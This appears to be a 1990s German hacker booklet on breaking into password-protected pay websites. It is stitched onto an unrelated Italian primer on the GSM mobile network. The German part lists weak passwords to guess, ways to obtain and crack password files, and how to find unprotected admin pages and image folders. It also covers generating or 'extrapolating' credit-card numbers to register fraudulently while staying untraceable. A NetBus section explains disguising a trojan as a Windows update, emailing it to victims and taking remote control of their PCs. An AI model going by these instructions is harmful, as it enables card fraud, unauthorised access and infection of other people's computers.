Das interessante am HTACCESS-Schutz ist, daß durch das HTACCESS-File auch alle ünterverzeichnisse unterhalb des Verzeichnisses, in dem sich die HTACCESS-Datei befindet, mitgeschützt sind. Und dies bis zu einer beliebigen Tiefe. In unserem Beispiel könnte man also unterhalb des Verzeichnisses "secure" beliebig viele weitere Verzeichnisse anlegen. Diese wären alle geschützt.

Wie sieht nun die Passwort-Datei selber aus? Im Folgenden eine beispielhafte Passwort-Datei:

robert:l4A$JRLOVdCRzYtbpekrLBYzl/
manfred:l30$ddEyRldHykHUo654KE01i/
thomas:$l$sa$09grRUELps.nkqkRIWLA/Ge/

Für jedes Mitglied enthält die Passwortdatei eine Zeile, die aus zwei Teilen besteht, die durch einen Doppelpunkt getrennt sind. Der erste Teil ist der Login-Name, der zweite Teil enthält das Passwort in verschlüsselter Form. Diese Verschlüsselung ist sehr sicher. Sie ist maschinenspezifisch. Das heißt, daß selbst wenn man diese Passwortdatei in die Finger bekommen würde, könnte man aus den verschlüsselten Passwörtern nicht die wirklichen Passwörter zurückberechnen. Bei der Passworteingabe wird das Passwort durch die Unix-Systemfünktion "crypt()" kodiert und mit dem in der Passwortdatei abgelegten verschlüsselten Passwort verglichen. Ist es gleich, so ist der Login OK.

Wie man also erkennen kann, ist es sehr schwierig, in Websites, die mittels HTACCESS geschützt sind, zu gelangen. Allerdings sind manche Webmaster einfach zu dumm, den HTACCESS Schutz richtig einzusetzen, und bieten so dem Angreifer einige Möglichkeiten.

Schwache Passwörter

Ein schwaches Passwort ist ein Passwort, daß leicht erraten werden kann. Hier einige der am häufigsten eingesetzten Usemame/Password Kombinationen:

asdf/asdf
123456/123456
fuck/me
qwertz/qwertz
qwerty/qwerty
qlw2e3
abcl23

Besonders die großen Pay-Websites, die einige tausend Mitglieder haben, ist es sehr wahrscheinlich, daß solche „schwachen" Passwörter dabei sind. Außerdem muß man sich vorstellen, daß einige Mitglieder in vielen verschiedenen Websites Mitglied sind und sich nicht alle möglichen Passwörter merken wollen.

Daher wird auch oft der Name der jeweiligen Website von den Mitgliedern als Passwort gewählt.

Beispiel:
www.hotsex.com: username: hot, password: sex www.hotbabes.com: username: hot, password: babes

Oder die Mitglieder benutzen einfach nur ihren Namen. Dabei sind natürlich die am häufigsten vorkommenden Namen besonders interessant:

Im Amerikanischen zum Beispiel
john/smith john/john miller/miller rick/rick frank/frank

und weitere mehr. Im Deutschen sind natürlich andere Namen interessanter.

Der einfach zu merkende Login bestehend aus „usemame/password", so wie er auch im Passwort-Dialog gefragt wird, kommt auch häufig vor.

Das schwächste von allen Passwörtem ist allerdings das sogenannte „ENTER" - Passwort. Dabei muß beim Erscheinen des Passwort-Dialogs einfach bestätigt werden, ohne überhaupt etwas einzugeben. Hat nämlich der Webmaster beim Erzeugen neuer Mitglieds-Daten einfach ohne eingabe irgendwelcher Daten aus versehen einmal unbemerkt sein Tool gestartet, so befindet sich im Passwort-File ein eben solcher „leerer" Eintrag.

An den engagierten Webmaster richten sich folgende Sicherheitstips:
• Das Erzeugen „leerer" Passwörter verhindern und kontrollieren
• Die Mitglieder nicht die Passwörter selber wählen lassen, sondern eines per Zufall generieren (z.b. „kd823joq")
• Falls die Kunden ihre Usemame/Password-Kombination selber wählen dürfen, nicht zulassen, daß der Usemame gleich dem Passwort ist.

Direktes Hacken der Passwort-Datei

Normalerweise sollte es nicht möglich sein, an das Passwort-File zu gelangen. In einigen Fällen ist es jedoch möglich, daran zu kommen, und zwar in folgenden Fällen:

• Die Passwort-Datei liegt im public_html-Bereich des Webservers,
also in den Verzeichnissen, in denen auch die via WWW
zugänglichen HTML-Dokumente liegen » Auf dem Webserver haben viele User
einen eigenen virtuellen
Webserver

Der zweite Fall tritt dann auf, wenn der Website-Betreiber seinen Webserver bei einem großen Webspaceprovider mietet, der auf einem Rechner viele weitere Webserver betreibt (z.B. www.webspace-service.de, www.webspace-discount.de, www.simplenet.com etc.) Dann ist es möglich, an die Passwortdatei zu kommen, falls man auf dem gleichen Rechner einen Account hat und die Passwortdatei öffentlich lesbar ist. Dann kann man mittels FTP oder TELNET in das Verzeichnis wechseln, indem derjenige seine Passwortdatei aufbewahrt und diese lesen. Mittels eines Brute-Force-Passwort-Crackers wie „Crack V5.0" lassen sich dann die Passwörter zurückberechnen. Das Programm braucht allerdings oft viele Stunden dazu und es führt nicht immer zum Erfolg.

Für einen absolut sicheren Schutz sollte also der Webmaster seine Paysite nicht auf einem Webserver betreiben, den er sich mit anderen Websites teilen muß.

Die Admin-Tools

Viele Webmaster der Paysites haben einen sogenannten „Admin-Bereich", der nur für sie selber gedacht ist. Dort erzeugen Sie neue Passwörter oder löschen alte Passwörter etc. Oft liegen diese Admin-Bereiche jedoch nicht in einem Passwortgeschützten Bereich. Die Webmaster denken nämlich, es würde ja keiner die URL ihres Admin-Tools kennen. Aber die URL ist manchmal einfach zu erraten. Oft heißt die URL www.thepaysite.com/admin.htm www.thepaysite.com/admin.html oder www.thepaysite.com/admin/

Man sollte auch weitere Namensmöglichkeiten austesten. Denn gelingt es, an die Admin-Seite zu kommen, so ist man natürlich am allerbesten bedient: Man kann selber so viele neue Passwörter hinzufügen, wie man möchte!

Phreaken

Unter „Phreaken" versteht man den einsatz von falschen Informationen, um sich bei einer Paysite als neues Mitglied zu registrieren. Das ist natürlich verboten und diese Hinweise hier sollen in erster Linie den Webmastem dienen, damit sie sich vor solchem Mißbrauch schützen können.

Wir wollen hier den am weitesten verbreiteten Fall beschreiben, bei dem die Mitgliedschaft online via Kreditkarte bezahlt wird und danach sofortiger Zugang erteilt wird.

Phreaker benutzen dazu einen anonymen Intemetzugang. Dazu wird oft der Test-Zugang von AOL mißbraucht. Test-Mitgliedschaften finden sich nahezu in jeder Computerzeitung. Aber auch okay.net bietet sofortigen Zugang nach Angabe aller Daten. Dabei meldet man sich mit Phantasienamen und irgendeiner Kontoverbindung an, die man aus irgendeiner Rechnung oder sonstwo her kennt. Schon ist man einen Monat lang anonym via AOL oder okay.net im Internet unterwegs.

Desweiteren benötigt man eine „gültige" Kreditkarten-Nummer (vorzugsweise VISA oder Mastercard - in Deutschland Eurocard). An diese zu kommen, ist schon etwas schwieriger. Eine gängige Methode ist es, einen sogenannten „Credit-Card-Generator" wie z.b. „Credit Wizard" oder „Cardpro" oder „Creditmaster" einzusetzen. Ein Suchern mittels „metacrawler.com" und den Begriffen „Credit Card Generator" o.a. bringt oft schon die gewünschten Programme.

Dazu sollte man wissen, daß die Online-Transaktionszentren nicht genau überprüfen können, ob eine Kreditkartennummer wirklich existiert und wem sie gehört. Es gibt lediglich bestimmte Algorithmen, um die Nummer und die Gültigkeitsdaten einer Kreditkarte auf eine gültige Struktur hin zu überprüfen. Daher kann man bei der Anmeldung beliebige Namen und Adresse angeben und eine der generierten Nummern. Allerdings liefern die Generatoren nicht das dazugehörige Gültigkeitsdatum.

Jedoch gibt es einen einfachen aber recht wirksamen Trick, um Kartennummem mit richtigem Gültigkeitsdatum zu erhalten: Die meisten der obengenannten Programme bieten die Möglichkeit, aus einer real existierenden Kreditkarten-Nummer neue Nummern zu generieren. Dieses Verfahren wird „Extrapolation" genannant. Die

generierten Nummern unterscheiden sich meist nur in den letzten Stellen und da die Kartennummem bei den Kreditkarten-Herausgebern in der Regel in aufsteigender Reihenfolge vergeben werden, haben die so generierten Kartennummem meistens das Gültigkeitsdatum der Karte, von der aus extrapoliert wurde. Folgender Bildschirmauszug zeig den Extrapolationsvorgang:

Dabei kann man seine eigene, realexistierende Kreditkarte nehmen und aus ihrer Nummer neue Kartennummem berechnen. Das Gültigkeitsdatum ist dann mit größter Wahrscheinlichkeit bei den

extrapolierten Nummern identisch mit dem Gültigkeitsdatum der eigenen, realen Kreditkarte.

Dabei braucht der Benutzer dieser Techniken keine Angst zu haben, daß man ihn zurückverfolgen kann. Der Zugang mittels anonymer AOL-Testzugänge bietet maximalen Schutz. Steht kein solcher Zugang zur Verfügung, sollte ein "Anonymizer" benutzt werden. Einen solchen findet man beispielsweise unter www.anonymizer.com. Surfman über den Anonymizer, ist die IP-Adresse nicht zurückverfolgbar. Eine etwas schwächere Variante, seine IP-Adresse zu verstecken ist die, einen Proxy-Server zu benutzen. Die meisten Intemet-Zugangsprovider bieten die Möglichkeit an, über einen Proxy zu surfen.

Aber Achtung: Benutzen man seinen eigenen Internet-Zugang, also keinen anonymen AOL-Zugang oder Anonymizer oder Proxy, so kann der Betreiber der Website, bei dem man sich mittels der falschen Kreditkartendaten

anmeldet, mittels der IP-Adresse, die der Server protokolliert, herausfinden, wer ihn betrogen hat bzw. es versucht hat. Dazu braucht er lediglich Ihren Zugangsprovider zu kontaktieren und ihm die IP-Adresse mitzuteilen. Die Provider führen i.d.R. über die letzten 80 Tage ein Protokoll, wann wer mit welcher IP-Adresse online war.

Login-Name Checker

Manche Pay-Sites geben möglichen neuen Mitgliedern während der Anmeldungsprozedur bereits vor der eigentlichen Zahlung die Möglichkeit, einen Mitgliedsnamen zu wählen. Ist der gewünschte Name bereits vergeben, wird dies mitgeteilt und man soll einen anderen Namen wählen. Gibt man beispielsweise „John" als Mitgliedsnamen ein, so sagt der Server meistens, daß der Name bereits vergeben ist. Das ist natürlich eine prima Vorraussetzung für die oben genannten Tricks zum Erraten von Passwörtem. Denn nun weiß man, daß es zumindest den Namen „John" schon gibt, somit muß nur noch das entsprechende Passwort erraten werden. Das ist eine wesentliche bessere Ausgangslage. als wenn man Passwörter zu Usernamen erraten muß, von denen man gar nicht weiß, ob sie überhaupt existieren!

Als Webmaster einer Paysite sollte man also darauf achten, daß das Neumitglied erst nach verifizierter Zahlung seinen Usemamen wählen kann!

Login-Generator nicht sicher

Oftmals ist es so, daß das Neumitglied zur Zahlung von der Paysite zu einem Kreditkarten-Service geschickt wird (z.b. www.ibill.com). Nach Verifizierung der Zahlung kommt der Neukunde dann wieder zu den Seiten der Paysite und wird dort entsprechend weiterbehandelt. In der Regel wird er nach erfolgreicher Zahlung zu einem Formular geschickt, mit dem die Login-Daten erzeugt werden. Das Neumitglied kann einen Usemamen und ein Passwort wählen und erhält nach wähl derer sofortigen Zugang. Das Formular fügt die Daten automatisch in die Passwort-Datei ein. Hier liegt jedoch ein oft gemachter Fehler:

Geht man nach Erzeugung eines Usemame/Passwort-Paares einfach mittels des „Back"-Buttons des Browsers zurück zum Formular, so kann man auf einfache und legale Weise ein weiteres Username/Passwort-Paar erzeugen und das immer wieder.

Als Webmaster sollte man folgende zwei Schutzmechanismen einsetzen:

- Das Kreditkarten-Unternehmen sollte nach erfolgreicher Prüfung einen einmaligen PIN-Code übermitteln, den man dann aus der liste der noch gültigen PIN-Codes

streicht und so das Formular zur Username/Passwort-Erzeugung bei jeder Zahlung nur genau EINMAL eingesetzt werden kann. Dieses Verfahren wird von den meisten Kreditkarten-Unternehmen auch als „One-Time PIN-Hardcoding" bezeichnet.

• Das Script, daß die Usernamen/Passwörter erzeugt, sollte auch mittels der HTTP_REFERRER-Servervariablen überprüfen, ob der User auch vom Kreditkartenunternehmen kommt. Sonst kann ein

gewiefter Hacker ein Script schreiben, das von seinem Rechner aus einfach solange verschiedene PIN-Nummem ausprobiert, bis es eine noch gültige findet. Sind die PIN z.B. siebenstellig, so dauert es im statistischen Mittel nur 5000 Sekunden, bis man eine gültige PIN findet, wenn das Script jede Sekunde eine PIN testet. Bei einer schnellen Intemetverbindung sind jedoch auch mehrere Tests pro Sekunde möglich!

Bilder nicht in geschützten Verzeichnissen

Dieser Fehler ist einer der häufigsten, da er leicht übersehen wird:

Wie bereits erwähnt, sind mittels des HTACCESS-Schutzes immer das jeweilige Verzeichnis und alle Unterverzeichnisse geschützt. Befinden sich die Bilder der Mitgliederseiten jedoch in einem Verzeichnis, das nicht in dieser geschützten „Baumstruktur" enthalten ist, so kann dieses Verzeichnis und die Bilder darin ohne Eingabe von üsemame/Passwort angesehen werden. Besonders einfach ist es dann, wenn das Bilder-Verzeichnis auch nicht gegen auflisten geschützt ist. Dann genügt das Eingeben des Pfades um alle Bilder aufzulisten. Diese Bilderverzeichnisse haben oft den Namen „Images" oder „gfx", „pics", „pix", „pictures", „pic", „graphics". Ein einfaches Durchprobieren mit etwas Phantasie führt hier bereits oft zum Erfolg.

Beispiel:

```
|-|...#root        |...#images
       |...#members
```

Das .htaccess-File liegt im Geschützten Verzeichnis "members". Dort liegen auch die HTML-Dokumente für die Mitglieder. Die dazugehörigen Bilder liegen jedoch in diesem Beispiel im Verzeichnis "Images", welches nicht in der members-Hierarchie ist und somit nicht passwortgeschützt ist. Handelt es sich beispielsweise um www.pornsite.com als root dieser Paysite, so kann im Browser einfach die URL www.pornsite.com/images eingegeben werden, und man erhält eine Liste der gesammelten Bilder (vorrausgesetzt, das Directory-Browsing ist nicht serverseitig ausgeschaltet)

Packet Sniffing
Diese Möglichkeit ist etwas komplizierter als die anderen beschriebenen, denn es müssen einige Vorraussetzungen getroffen werden: Sie müssen in einem LAN (Ethemet-Netwerk) an einem Rechner sitzen und Root-Access haben. Dann kann man einen sogenannten „Packet-Sniffer" wie beispielsweise „SNOOP" einsetzen. Packet-Sniffer findet man meist als C-Sourcecode im Internet. Diese kurzen Sourcecodes muss man dann nur noch mittels gcc auf der UNIX-Shell compilieren und schon ist es möglich, die Pakete, die zu und von anderen Rechner im LAN gesendet werden, abzuhören. Denn Ethernet-Netzwerke setzen die sogenannte „Broadcasf'-Technologie ein. Ein Paket, daß für einen Rechner in einem LAN bestimmt ist, wird im Prinzip an alle Rechner im LAN ausgesandt. Packet-Sniffing ist also wiederum besonders in den Fällen gefährlich, bei denen man bei einem Webspace-Provider seinen Webserver mietet und sich dort naturgemäß mit vielen anderen Kunden in einem LAN befindet. Ein Beispiel ist www.pair.com. einer der größten kommerziellen Webspace-Provider in den USA. Dort befinden sich über 70 Webserver in einem LAN, auf dem **z.Zt.** über 30.000 Kunden einen virtuellen Webserver betreiben!
Als Schutz gegen Packet-Sniffing bietet sich der Einsatz eines „Segmented Networks" an. Bei einem solchen Netzwerk wird nicht die Boradcast-Technologie benutzt, sondern die Pakete werden direkt mittels Routing-Tabellen zu dem Ziel-Rechner geroutet. Eine besonders für Web-Server geeignete Lösung ist der Einsatz von SSL (Secure Sockets Layer). Dies Protokoll verschlüsselt alle Pakete, die somit zwar noch abgefangen werden können, aber nicht mehr gelesen werden können. SSL wird von den meisten Webhosting-üntemehmen gegen geringen Aufpreis angeboten. SSL-Verschlüsselte Webinhalte sind am Protokoll-Prefix „https://" zu erkennen. Zum Betrieb einer SSL-geschützten Website muß man eine SSL-ID haben, die es beispielsweise bei www.verisign.com gibt. Ein kleiner Nachteil ist jedoch, daß HTTPS-Verbindungen etwas langsamer sind als
gewöhnliche HTTP-Verbindungen, da ein relativ hoher Verschlüsselungs-Overhead existiert.

Trojanische Pferde
Back Orifice und NetBus
Back Orifice

Die amerikanische Hackergruppe Cult OfThe Dead Cow (http://www.cultdeadcow.com) veröffentlichte ein Programm mit dem Namen "Back Orifice", das sie als "Femwartungswerkzeug für Netzwerke" bezeichnet. Daß die Intention eine andere ist, ergibt sich schon aus dem Namen: Back Orifice (hintere Öffnung) übersetzt man hier am besten mit "Hintertür", denn das Programm macht es fast zum Kinderspiel, Schindluder mit Windows-PCs zu treiben. Witzig die Anspielung auf MicroSchuft's "Back Office"-System.
Das nur 124 KByte große "Server-Modul" läßt sich nämlich an ein beliebiges Windows-EXE-Programm koppeln, um es nichtsahnenden Anwendern unterzuschieben. Wird die Datei unter Windows 95 oder 98 ausgeführt, klinkt sich der Server quasi unsichtbar im System ein. Von diesem Moment an wartet das trojanische Pferd nur noch darauf, über das UDP-Protokoll geweckt zu werden.
Mit dem Client läßt sich bequem auf den befallen Rechner zugreifen.Unter anderem kann man das Dateisystem manipulieren (Dateien runterladen, hochspielen etc.), Tasks beenden, uvm. Die Funktionsweise des Back Orifice ist schon aus anderen Hacker-Tools bekannt; neu ist in erster Linie der Bedienungskomfort der grafischen "Wartungskomponente" - wenige Eingaben und Mausklicks genügen, um Prozesse zu beenden. Tastatureingaben zu protokollieren, die Windows-Registry zu manipulieren oder IP-Adressen umzuleiten.
Einen interessanten Praxisbericht findet man unter der deutschen Adresse
http://www.puk.de/BackOrifice/default.html oder
http://www.bubis.com/glaser/backorifice.htm

Um Ihr System auf ein vorhandenes Back-Office zu untersuchen, gibt es Programme wie BoDetect
(http://www.spiritone.com/~cbenson/current_projects/backorifice/backorifice.htm)
oder das Programm BORED
(http://www.st-andrews.ac.uk/~sjs/bored/bored.html)
Es ist aber auch manuell sehr einfach. Back Orifice zu entfemen:
Öffnen Sie die Registry (regeditexe ausrühren) und schauen unter dem Schlüssel
"HKEY_LQCAL_MACHINE\SOFTWARE\Microsoft\Windows\CuiTentVersion\RunServices"
nach einem Eintrag mit dem Namen "<blank>.exe" (Defäult-Filename) bzw. mit einem Eintrag der Länge 124,928 (+/- 30 Bytes). Löschen Sie diesen

Eintrag; er bewirkt, daß der "Back Orifice"-Server bei jedem Windows-Start automatisch aktiviert wird.
Das Programm selbst liegt im allgemeinen im Verzeichnis "\Windows\System" und ist daran erkennbar, daß es kein Programm-Icon hat und eine Größe von 122 KByte (oder geringfügig mehr) besitzt. Sollten Sie die Datei aus irgendwelchen Gründen nicht finden, kann es Ihnen helfen, daß verschiedene Informationen als ASCII-String im Prgramm-Code zu finden sind; so ist mit großer Wahrscheinlichkeit die Zeichenkette "bofilemappingcon" enthalten, die Sie über Suche im Explorer finden werden.
Zusätzlich zur "Back Orifice-Prgramm-Datei" wird im selben Verzeichnis noch die "WINDLL.DLL" zum mitloggen von Tastatureingaben installiert, die Sie auch sinnvoller Weise löschen, die aber alleine keinen Schaden anrichten kann.
Das Problem bei Back-Orifice ist, daß es schwierig ist, die IP-Adresse des Hosts zu erkunden, da diese sich ja bei jedem Einwählen des befallenen Rechners ändert.
Dieses Problem gelöst und eine noch mächtigere Lösung geschaffen hat Carl-Fredrik Neikter mit seinem Programm "NetBus", welches recht ähnlich ist. Es bietet noch weitgehendere Funktionen und ist einfacher zu installieren.

NetBus

Nachdem Sie sich die entsprechende Datei herungergeladen haben, sollten Sie diese entpacken. Nun erhalten Sie drei Dateien:
NETBUS.EXE, NETBUS.RTF und PATCH.EXE
Bei PATCH.EXE handelt es sich um das gefährliche Infizierungsprogramm, das eigentliche Trojanische Pferd. Starten Sie diese Datei also nicht! Die Datei NETBUS.RTF enthält eine kurze englische Anleitung des Authors. Die Datei NETBUS.EXE ist der „dient" mit dem Sie auf infizierte Server zugreifen können. Diese können Sie ohne Sorgen starten. Starten Sie zum Testen den Server auf Ihrem eigenen Rechner, indem Sie eine DOS-Eingabeaufforderung öffnen und im Verzeichnis von NetBus den Server mit dem Parameter ,,/noadd" starten, also

PATCH.EXE /noadd   [RETURN J

Nun läuft der Server. Jetzt können Sie den dient starten (NETBUS.EXE doppelclicken) und auf Ihren eigenen Rechner zugreifen. Wählen Sie dazu

als Adresse „localhost" oder „l 27.0.0. l". Wenn Sie den Server beenden wohlen, wählen Sie im dient „Server Admin" und dann „dose Server". Außerdem kann das Infizierungsprogramm so geändert werden, daß es die IP-Adresse automatisch an eine von Ihnen gewählt Email-Adresse schickt, sobald jemand mit einem von NetBus infizierten Rechner in das Internet geht. Dies ist der gewaltige Vorteil gegenüber Back Orifice. Dazu wählt man im NetBus-Client den Button "Server Setup" und gibt die entsprechenden Informationen ein. Schwierig ist es lediglich, einen freien Mail-Server zu finden, der Mails von jeder IP-Adresse akzeptiert. Dann wählt man "Patch Srvr" und wählt die zu patchende Infizierungsdatei (standardmäßig "patch.exe").

Wer versucht, einen anderen Rechner zu infizieren, kann die Datei PATCH.EXE nun einfach per Email an einen anderen Intemetnutzer schicken und die Datei als „Windows-Update" oder als irgendeine tolle lustige Animation bezeichnen. Die Datei kann dazu beliebig umbenannt werden (z.b. Win98update.exe oder siedler2 patch.exe etc.). Wird die Datei nun gestartet, passiert optisch garnichts. Jedoch hat sich der NetBus-Server bereits auf dem Rechner versteckt installiert und wird von nun an jedesmal automatisch gestartet, wenn der Rechner gebootet wird.

Hat man obige Veränderungen am Infizierungsprogramm vorgenommen, bekommt man nun immer automatisch eine Email mit der IP-Adresse des infizierten Rechners, sobald dieser online ins Internet geht. Diese IP-Adresse können Sie nun im NetBus-Client eingeben und den Rechner manipulieren.

Hacker benutzen sicherheitshalber anonyme Email-Adressen, die es beispielsweise bei hotmail.com oder mail.com gibt.

Um Ihr System zu schützen, empfiehlt sich Norton Antivirus http://www.symantec.de/region/de/avcenter/ welches neben NetBus auch Back Orifice erkennt. Sie können auch wiederum manuell arbeiten. Der automatische NetBus-Start ist in der Registry unter "\HKEY_LOCAL_MACHINESOFTWARE\Microsoft\Windows\CurrentVersion\Run" eingetragen und sollte entfernt werden. Allerdings kann der Dateiname variieren (patch.exe, syseditexe oder explore.exe sind einige bekannte Namen)

Weiterführende Info finden Sie unter http://www.bubis.com/glaser/netbus.htm

Tip des Autors

Sollten Sie beabsichtigen, einen Passwortgeschützten Intemetservice zu betreiben, so kommen Sie nie auf die Idee, einen Microsoft NT-Webserver einzusetzen! Windows NT hat ein Sicherheitssystem, das mehr Löcher hat, als ein Schweizer Käse. Statt dessen sollten Sie ein Unix-System wählen. Leider bieten deutsche Webspace-Provider größtenteils NT-Lösungen an. Hier heißt es also, Ausschau halten und ggf. konkret bei einem Webspace-Provider nach einem Unix-Server fragen! Ein wesentlicher Vorteil eines Unix-Servers ist neben der Sicherheit der Vorteil, daß man sich dort auch per TELNET einloggen kann und so wesentlich mehr Kontroller über den Server hat. Bei NT-Servem ist dies nicht möglich! Empfehlenswert und preiswert sind besonders unter BSDI oder Linux laufende Webserver. Wie jeder weiß, ist Linux sogar kostenlos und Apache, einer der besten Webserver, ist ebenfalls kostenlos erhältlich. Außerdem sollte man auch die Performance-Vorteile eines Unix-Systems nicht unterschätzen. Besonders im Bereich Traffic-starker Webangebote wird fast ausschließlich ünix eingesetzt. Sollten Sie also beispielsweise ein Erwachsenen-Angebot mit vielen tausend Bildern etc. planen, so lege ich Ihnen den Einsatz eines ünix-Server wärmstens ans Herz. Eine interessante Website zum Thema „Unix vs. NT" findet sich unter http://www.lot-germany.com/magazin/unix-nt.htm !

NACHWORT

Das war das Buch, 30 DM dafür auszugeben hätte sich net gelohnt, oder?

CIAO @ all HackerZ

new-hackerz@gmx.de

BITLES

Il sistema GSM

Il sistema **GSM** e' stato attivato ufficialmente in Italia nel'ottobre 1992, gli apparati sono Ericsson, Siemens, Italtel. (Omnitel usa Nokia)

Il GSM e' un sistema cellulare simile al TACS, ma mentre quest'ultimo e' analogico il sistema GSM e' 'digitale'; alcuni dei vantaggi del GSM sono:

- possibilita' di effettuare e ricevere chiamate all'estero dove il sistema e' attivo.
- Segretezza delle informazioni (non e' possibili ascoltare le chiamate)
- Trasmissione dati
- Il numero abbonato e altri numeri per l'identificazione non risiedono nel telefono come nel tacs, bensi' in una carta chiamata SIM (Subscriber Identity Module)
- migliore qualita' della conversazione (ricostruzione dati persi)
- capacita' di traffico molto piu' ampie di quelle tacs
- molti servizi aggiuntivi (non elencati per ora)

Gli svantaggi sono dovuti alla gestione del sistema che e' molto piu' complessa di quella tacs, problemi di interferenza dovuti alla ripetizione dei cluster (gruppi di frequenze che identificano una serie di celle), poche frequenze disponibili, problemi ancora tra apparati di case costruttrici diverse, l'area di copertura di una cella ridotta al massimo a 35 chilometri, ecc.

Struttura fisica del sistema mooolto riassunta e' la seguente:

```
                        MSC (Mobile Services Switching Centre)
                         |
                 +-------+-------+
                 |               |
                BSC             BSC     (Base Station Controller)
                 |               |
         +-------+-------+       +-------+
         |       |       |       |       |
        BTS     BTS     BTS     BTS     BTS (Base Transceiver Station)
```

Diverse radio basi (BTS) sono collegate ad un unico BSC che ha il compito di gestire handover, power control ed altre funzioni; diversi BSC sono collegati ad un unico MSC che gestisce, tra le altre, il collegamento tra la rete GSM e la rete pubblica.
MSC e' collegato a database che gestiscono le informazioni degli abbonati che 'entrano nell'area' (VLR Visitor Location Register) o che si sono registrati nell'area (HLR Home.... che contiene inoltre informazioni relative all'abbonamento)
Un telefono (MS) che si sposta in comunicazione tra un'area di copertura ed un'altra effettua un 'handover', il livello dell'handover puo' essere tra due BTS dello stesso BSC o tra due con BSC diverse, o tra due MSC; in quest'ultimo caso esistono ancora problemi (cadute).
A Livello logico una serie di radio basi vengono raggruppate sotto un'unica area chiamata LA (Location Area). Ogni singola cella ha un nome univoco in tutto il sistema GSM esistente; la cella si identifica attaverso il CGI (Cell Global Identity) che contiene l'identificativo della nazione, rete, LA e numero cella. In ogni istante si conosce la posizione di ogni telefono presente sulla rete; il telefono in fase di accensione e di spegnimento si registra nella rete (vedremo poi come).

alcuni fra i termini tecnici piu' ricorrenti:

- *idle* — telefono acceso in 'ascolto'
- *dedicated* — telefono in conversazione
- *assignment* — occupazione del canale voce, inizio conversazione
- *handover* — passaggio tra due BTS in fase di conversazione
- *release* — rilascio di una conversazione
- *location upd.* — in fase di accensione vengono inviate informazioni alla rete relative all'abbonamento.
- *power control* — la BTS dice al MS con quale potenza deve accedere nella sua area di copertura, questo limita il consumo delle batterie e crea minori interferenze
- *SMS short msg* — sono messaggi che gli utenti si possono scambiare senza attivare la conversazione
- *freq. hopping* — e' la possibilita' di 'saltare' da un canale all'altro all'interno di una singola cella

Il sistema GSM

DATI TECNICI
Il sistema GSM e' un sistema cellulare, cioe' logicamente suddiviso in celle; di solito una cella e' composta da tre gruppi antenne messi 120 gradi l'uno dall'altro (3 BTS), ogni antenna e' composta da 2 RX che sono le piu' esterne per il diversity e una centrale TX (2 se esiste anche il tacs sullo stesso traliccio).
Una serie di celle che contengano tutte le frequenze disponibili formano un cluster; i cluster si ripetono, per cui le frequenze vengono ripetute su tutto il territorio. Ogni singola BTS puo' trasmettere su piu' frequenze (vedremo in seguito)
Ogni frequenza GSM ha una larghezza di banda di 200 KHz suddivisa logicamente in 8 parti, cioe' e' in grado di gestire 8 conversazioni contemporaneamente. La larghezza di banda viene sfruttata per trasmettere delle informazioni in pacchetti (frame), ogni frame contiene informazioni relative alle 8 call. La frame di base cioe' quella piu' piccola si chiama burst, e' composta da 142 bit + 14.25 bit di inizio/fine per un totale di 156.25 bits. La durata di ogni singola frame e' di 0.577 ms. Esistono vari tipi di burst, di correzione, di sincronizzazione, di accesso ecc; 51 burst formano frame di 235 msec che e' la configurazione standard; frame dello stesso tipo vengono raggruppate per creare le informazioni che circolano in ogni singolo canale logico del GSM.

51 burst formano una multiframe
26 multiframe formano una superframe
2048 superframe formano una hyperframe

890-915 MHz range usato da MS per Tx
935-960 MHz range usato da MS per Rx
numero di frequenze : 124
numero di call = 124*8

Ogni singolo burst o frame viene chiamato TDMA burst o frame, questo perche' contiene informazioni relative alle 8 call suddivise per divisione di tempo (TDMA Time Division Multiple Access)
In ogni stato del telefono (idle, dedicated ecc), il MS sa che tipo di informazioni andare a prendere dalle frames generali; queste informazioni relative ad un singolo stato del MS vengono raggruppate sottoforma di canali GSM.

--Esistono canali di traffico (TCH)

--Esistono canali di controllo (BCCH Broadcast Control Channel)
SCH = Sync channel
BCCH = broadcast, informazioni generali sulla BTS

--Esistono canali di controllo comune (CCCH)
PCH = paging channel
RACH = random access channel, usato per richiedere accesso
AGCH = Access Grant..., usato per accedere all'SDDCH

--Esistono canali di controllo dedicati (DCCH)
SDCCH = Stand Alone Ded. Control Channel, usato durante una call setup
SACCH = Slow Associated ... (misure inviate dal telefono)
FACCH = Fast Associated ... usato per alte velocita'

La BTS invia al telefono il ritardo o l'anticipo con cui puo' accedere alle informazioni che circolano nelle frame (TA Time Advance) Il TA va da 1 a 63 che corrisponde a circa 35 Km di distanza dalla BTS; ogni valore indica i bit di ritardo con cui il MS deve accedere alla frame.
In centrale esiste un parametro collegato al TA che se modificato limita la dimensione della cella; e' il valore massimo a cui TA puo' arrivare (TALIM) raggiunto il limite viene richiesto un handover incondizionato al telefono.

Il sistema GSM

Abbiamo visto che col range di frequenze 900 MHz disponibili otteniamo 124 frequenze utilizzate dal sistema; ogni frequenza ha 8 TS per cui 124*8 chiamate effettuabili contemporaneamente (in realta' sono meno)

Ogni radio base, che chiamiamo BTS e' una cella, un sito e' invece composto da 2 o 3 BTS; per essere chiari: quando si vedono in giro tralicci con 3 gruppi di 3 o 4 antenne direttive, quello e' un sito composto da 3 radio basi o BTS e la copertura e' pari a 3 celle. A volte si identifica col nome cella l'insieme delle 3 celle formate da un sito.
Ogni BTS ha la possibilita' di gestire piu' di una frequenza chiamate portanti, TI ne ha almeno 2 per radio base, in Grecia ne hanno anche 6 per radio base; se ampliamo il discorso a molti altri siti, si puo' capire quale lavoro di pianificazione di copertura e di assegnamento di frequenze esista dietro il sistema cellulare GSM. Se poi si riscontrano interferenze e, quindi, la variazione di alcune frequenze in uno o piu' siti, si devono ripianificare tutte le frequenze dei cluster adiacenti.

ESEMPIO: ipotizziamo una BTS con 2 portanti
portante 1 : 8 timeslot (da 0 a 7) 0 1 2 3 4 5 6 7 detta portante BCCH
portante 2 : 8 timeslot (da 0 a 7) 0 1 2 3 4 5 6 7 detta 1 portante TCH
portante 3 : 8 timeslot (da 0 a 7) 0 1 2 3 4 5 6 7 detta 2 portante TCH

In teoria la BTS in questione puo' gestire 24 conversazioni contemporaneamente in realta' gestisce 22 conversazioni perche' il TS 0 della portante BCCH e' dedicato al canale di controllo BCCH, il TS 1 della portante BCCH e' dedicato al canale SDCCH.

Vediamo i 5 canali piu' significativi del sistema GSM:
- **BCCH** Canale di controllo sempre presente in idle mode; porta informazioni relative alla cella servente ed alle celle adiacenti: CGI (identificativo cella), TXPWR potenza che deve avere il telefono per accedere alla cella, DTX se trasmissione discontinua attiva ed altre info minori.
